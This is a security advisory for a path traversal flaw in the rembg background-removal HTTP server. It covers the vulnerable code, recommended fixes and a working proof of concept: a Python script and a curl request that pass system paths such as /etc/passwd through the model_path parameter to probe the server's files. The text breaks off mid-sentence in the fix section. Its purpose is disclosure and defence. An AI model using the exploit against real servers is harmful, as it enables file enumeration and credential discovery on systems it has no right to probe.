GHSA-3wqj-33cg-xc48 Rembg has a Path Traversal via Custom Model Loading

• PyPI rembg: < 2.0.75 → fixed in 2.0.75

Summary A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path) --- Details Vulnerable Code Flow The vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`). 1. Entry Point - `rembg/commands/s_command.py` ```python def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response: kwargs = {} if commons.extras: try: kwargs.update(json.loads(commons.extras)) # ❌ No validation except Exception: pass # ... session = new_session(commons.model, kwargs) # Passes arbitrary kwargs ``` The `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation. 2. Path Handling** - `rembg/sessions/u2net_custom.py` ```python @classmethod def download_models(cls, *args, kwargs): model_path = kwargs.get("model_path") if model_path is None: raise ValueError("model_path is required") return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation ``` The `model_path` is returned with tilde expansion but no validation against path traversal. 3. File Read** - `rembg/sessions/base.py` ```python self.inner_session = ort.InferenceSession( str(self.__class__.download_models(*args, kwargs)), # Reads file # ... ) ``` The path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file. Root Cause The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation. --- PoC Prerequisites • Python 3.10+ • rembg installed with CLI support: `pip install "rembg[cpu,cli]"` Step 1: Start the Vulnerable Server Open a terminal and run: ```bash rembg s --host 0.0.0.0 --port 7000 ``` You should see output like: ``` To access the API documentation, go to http://localhost:7000/api To access the UI, go to http://localhost:7000 ``` Step 2: Send the Exploit Request Open a second terminal** and run this Python script: ```python import requests import json import urllib.parse from io import BytesIO Minimal valid 1x1 PNG image (required for the request) MINIMAL_PNG = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F, 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 ]) Target paths to test test_paths = [ "/etc/passwd", # System file (should exist) "/nonexistent/file.txt", # Non-existent file ] for path in test_paths: print(f"\n[*] Testing path: {path}") # Build request - extras must be in URL query string extras = json.dumps({"model_path": path}) url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}" response = requests.post( url, files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")}, data={"model": "u2net_custom"}, timeout=30 ) print(f" Status: {response.status_code}") print(f" Response: {response.text[:100]}") ``` Or use curl directly: ```bash Create a minimal PNG file python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png Send exploit request targeting /etc/passwd curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \ -F "model=u2net_custom" \ -F "file=@/tmp/test.png" ``` Step 3: Verify in Server Logs Go back to the first terminal where the server is running. You will see error messages like: ``` onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: [ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed. ``` ``` onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: [ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist ``` Understanding the Results | Server Log Message | What It Proves | |-------------------|----------------| | `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File exists and was read by onnxruntime | | `Load model from /etc/shadow failed:Permission denied` | ✅ File exists but process lacks permission | | `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File does not exist - enables enumeration | The key proof: The message `"Load model from /etc/passwd failed:Protobuf parsing failed"` proves that: 1. The attacker-controlled path was passed through without validation 2. `onnxruntime.InferenceSession()` attempted to read the file contents 3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf --- Impact Who is Affected? • All users running `rembg s` (HTTP server mode) • Cloud deployments where rembg is exposed as an API service • Docker containers running rembg server Attack Scenarios 1. Information Disclosure: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files) 2. Credential Discovery: Attacker checks for common credential files 3. Infrastructure Mapping: Attacker discovers installed software and system configuration 4. Denial of Service: Attacker attempts to load very large files, exhausting memory What is NOT Affected? • CLI usage (`rembg i`, `rembg p`) - users already have local file access • Library usage - developers control the input --- Recommended Fix Option 1: Disable Custom Models for HTTP API (Recommended) Remove custom model types from the HTTP API session list: ```python In s_command.py, filter out custom models ALLOWED_HTTP_MODELS = [ name for name in sessions_names if not name.endswith('_custom') ] Use ALLOWED_HTTP_MODELS in the model parameter regex model: str = Query( regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")", default="u2net", ) ``` Option 2: Validate model_path Against Allowlist If custom models must be supported via HTTP: ```python import os ALLOWED_MODEL_DIRS = [ os.path.expanduser("~/.u2net"), "/app/models", # or your designated model directory ] def validate_model_path(path: str) -> str: """Validate model path is within allowed directories.""" abs_path = os.path.abspath(os.path.expanduser(path)) for allowed_dir in ALLOWED_MODEL_DIRS: allowed_abs = os.path.abspath(allowed_dir) if abs_path.startswith(allowed_abs + os.sep): return abs_path raise ValueError(f"model_path must be within allowed directories") ``` Option 3: Document Security Considerations At minimum, add securit…